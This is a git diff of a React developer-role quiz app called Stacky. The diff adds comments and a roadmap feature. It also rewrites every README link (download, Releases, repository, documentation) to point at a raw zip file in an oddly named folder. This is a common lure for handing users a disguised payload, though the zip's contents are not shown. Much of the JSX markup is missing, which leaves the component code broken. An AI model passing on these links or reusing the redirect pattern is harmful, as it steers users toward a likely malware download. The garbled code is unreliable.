diff --git a/README.md b/README.md
index 1a674ac..1bd362d 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@ Welcome to Stacky! This application will help you discover your coding destiny.
## π₯ Download Stacky
-[](https://github.com/mauelito3/Stacky/releases)
+[](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
Click the link above to visit our Releases page where you can download the application.
@@ -23,7 +23,7 @@ Before you download, ensure your system meets the following requirements:
To download Stacky, follow these steps:
-1. Visit the [Releases page](https://github.com/mauelito3/Stacky/releases).
+1. Visit the [Releases page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip).
2. Look for the latest version of Stacky.
3. Click on the download link for your operating system.
4. Once the download is complete, locate the downloaded file in your computer's downloads folder.
@@ -72,8 +72,8 @@ Stacky can help you discover your role in areas like:
## π Useful Links
-- [GitHub Repository](https://github.com/mauelito3/Stacky)
-- [Releases Page](https://github.com/mauelito3/Stacky/releases)
-- [Documentation](https://github.com/mauelito3/Stacky/wiki)
+- [GitHub Repository](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Releases Page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Documentation](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
Thank you for choosing Stacky. Happy coding!
\ No newline at end of file
diff --git a/src/Stacky.jsx b/src/Stacky.jsx
index e0d3146..1f989bc 100644
--- a/src/Stacky.jsx
+++ b/src/Stacky.jsx
@@ -1,23 +1,30 @@
+// Import useState hook from React to manage component state
import { useState } from "react";
-// main screens
-import MenuScreen from "./screens/MenuScreen";
-import QuizScreen from "./screens/QuizScreen";
+// Import main screens of the app
+import MenuScreen from "./screens/MenuScreen"; // The landing screen with Start button
+import QuizScreen from "./screens/QuizScreen"; // The quiz interface
function Stacky() {
+ // State to track whether the quiz has started
const [started, setStarted] = useState(false);
/*
- I realize this isnβt ideal, but I plan to
- handle the quiz state properly with
- Zustand or Redux.
+ Note: Right now, the quiz state (questions, scores, etc.) is handled locally.
+ In the future, it would be better to manage it using a global state manager
+ like Zustand or Redux for cleaner and scalable code.
*/
+ // Function to start the quiz; updates 'started' state to true
const start = () => {
setStarted(true);
};
+ // Conditional rendering:
+ // - If quiz has started, show QuizScreen
+ // - Otherwise, show MenuScreen and pass 'start' function as prop
return started ? : ;
}
+// Export the Stacky component as default so it can be imported elsewhere
export default Stacky;
diff --git a/src/components/Results.jsx b/src/components/Results.jsx
index 03bb2a0..6343206 100644
--- a/src/components/Results.jsx
+++ b/src/components/Results.jsx
@@ -1,31 +1,95 @@
import Button from "../components/Button";
+import Footer from "../components/Footer";
+import MenuScreen from "../screens/MenuScreen";
+// Predefined roadmap steps for each role
+const roadmaps = {
+ frontend: [
+ "Learn HTML, CSS, and JavaScript",
+ "Master React (or Vue/Angular)",
+ "State management (Redux, Zustand, Context API)",
+ "UI/UX fundamentals",
+ "API integration",
+ ],
+ backend: [
+ "Learn Node.js / Python / Java",
+ "Work with databases (SQL & NoSQL)",
+ "Build REST APIs / GraphQL",
+ "Authentication & Security",
+ "Deploy on cloud platforms (AWS/GCP/Azure)",
+ ],
+ fullstack: [
+ "Combine frontend + backend skills",
+ "API design and integration",
+ "Learn DevOps basics (Docker, CI/CD)",
+ "System design concepts",
+ "Contribute to real-world fullstack projects",
+ ],
+};
-function Results({ finished, result, restart }) {
+function Results({ finished, result, restart, scores }) {
+ // Do not render anything if quiz not finished
if (!finished) return null;
+ // Restart quiz function
const replay = () => {
- restart()
+ restart();
};
+ const MenuScreen = () => {
+ window.location.reload();
+ }
+ // Determine the role with the highest score
+ const role =
+ scores.frontend >= scores.backend && scores.frontend >= scores.fullstack
+ ? "frontend"
+ : scores.backend >= scores.frontend && scores.backend >= scores.fullstack
+ ? "backend"
+ : "fullstack";
return (
<>
+ {/* Overlay for styling */}
+
+
>
);
}
diff --git a/src/hooks/useStacky.jsx b/src/hooks/useStacky.jsx
index b1afcf0..6da6fea 100644
--- a/src/hooks/useStacky.jsx
+++ b/src/hooks/useStacky.jsx
@@ -1,17 +1,29 @@
import { useState } from "react";
+/*
+ Custom React hook to manage the state of the Stacky quiz app.
+ Handles current question, scoring, quiz completion, restart, and result calculation.
+*/
export function useStacky(questions) {
+ // Track the index of the current question (starts at 0)
const [currentQ, setCurrentQ] = useState(0);
+
+ // Track scores for each role
const [scores, setScores] = useState({
frontend: 0,
backend: 0,
fullstack: 0,
});
+ // Track whether the quiz has finished
const [finished, setFinished] = useState(false);
-
- // submit answer handler
+ /*
+ Handle answer submission
+ - 'points' is an object like { frontend: 1, backend: 0, fullstack: 0 }
+ - Updates the scores
+ - Moves to the next question or finishes the quiz if it's the last question
+ */
const handleAnswer = (points) => {
setScores((prev) => ({
frontend: prev.frontend + (points.frontend || 0),
@@ -20,18 +32,28 @@ export function useStacky(questions) {
}));
if (currentQ + 1 < questions.length) {
- setCurrentQ(currentQ + 1);
+ setCurrentQ(currentQ + 1); // move to next question
} else {
- setFinished(true);
+ setFinished(true); // quiz completed
}
};
+ /*
+ Reset the quiz
+ - Resets current question, scores, and finished state
+ - Can be called when user clicks "Start Over"
+ */
const restart = () => {
setCurrentQ(0);
setScores({ frontend: 0, backend: 0, fullstack: 0 });
setFinished(false);
};
+ /*
+ Calculate the result
+ - Determines which role has the highest score
+ - Returns a string message
+ */
const getResult = () => {
const max = Math.max(scores.frontend, scores.backend, scores.fullstack);
if (max === scores.frontend) return "You are a Frontend Guy!";
@@ -39,12 +61,13 @@ export function useStacky(questions) {
return "You are Fullstack Guy!";
};
+ // Return all state and functions to be used in components
return {
- currentQ,
- scores,
- finished,
- handleAnswer,
- restart,
- getResult,
+ currentQ, // current question index
+ scores, // current role scores
+ finished, // whether quiz is finished
+ handleAnswer, // function to submit an answer
+ restart, // function to restart the quiz
+ getResult, // function to get the final result string
};
}
diff --git a/src/index.css b/src/index.css
index d7ea140..456febb 100644
--- a/src/index.css
+++ b/src/index.css
@@ -172,8 +172,8 @@ footer :is(a) {
}
.results {
- width: 300px;
- height: 300px;
+ width: 800px;
+ height: 350px;
background-color: #fff;
top: 50%;
left: 50%;
diff --git a/src/main.jsx b/src/main.jsx
index 5fdff66..ce899e5 100644
--- a/src/main.jsx
+++ b/src/main.jsx
@@ -1,10 +1,24 @@
+// Importing React's StrictMode for highlighting potential problems in the app
import { StrictMode } from "react";
+
+// Importing createRoot from react-dom/client (used in React 18+)
+// This is the new way to render React apps instead of ReactDOM.render
import { createRoot } from "react-dom/client";
+
+// Import global CSS styles for the app
import "./index.css";
+
+// Import the main app component
import Stacky from "./Stacky.jsx";
-createRoot(document.getElementById("root")).render(
+// Get the root DOM element where the React app will be mounted
+// In your HTML file, this is usually
+const rootElement = document.getElementById("root");
+
+// Create a React root and render the app inside it
+// Wrapping in helps detect unsafe lifecycles, deprecated APIs, and other warnings
+createRoot(rootElement).render(
-
+ {/* Main app component */}
);
diff --git a/src/screens/QuizScreen.jsx b/src/screens/QuizScreen.jsx
index da5b25c..c195194 100644
--- a/src/screens/QuizScreen.jsx
+++ b/src/screens/QuizScreen.jsx
@@ -1,46 +1,64 @@
-// components
+// Import components
import Footer from "../components/Footer";
import Results from "../components/Results";
import Logo from "./../components/Logo";
+// Import quiz questions data
import { questions } from "./../data/questions";
-// hooks
+// Import custom hook for quiz state management
import { useStacky } from "./../hooks/useStacky";
function QuizScreen() {
+ // Destructure all state and functions from useStacky hook
const { currentQ, scores, finished, handleAnswer, restart, getResult } =
useStacky(questions);
+ // If the quiz is finished, only render the Results component
+ if (finished) {
+ return (
+
+ );
+ }
+
+ // Get the current question object
const q = questions[currentQ];
return (
<>
+ {/* Logo at the top */}
-
+ {/* Quiz area for questions and answers */}
- {/* current question indicator */}
+ {/* Current question indicator */}
Question {currentQ + 1} of {questions.length}
- {/* current question text */}
+ {/* Current question text */}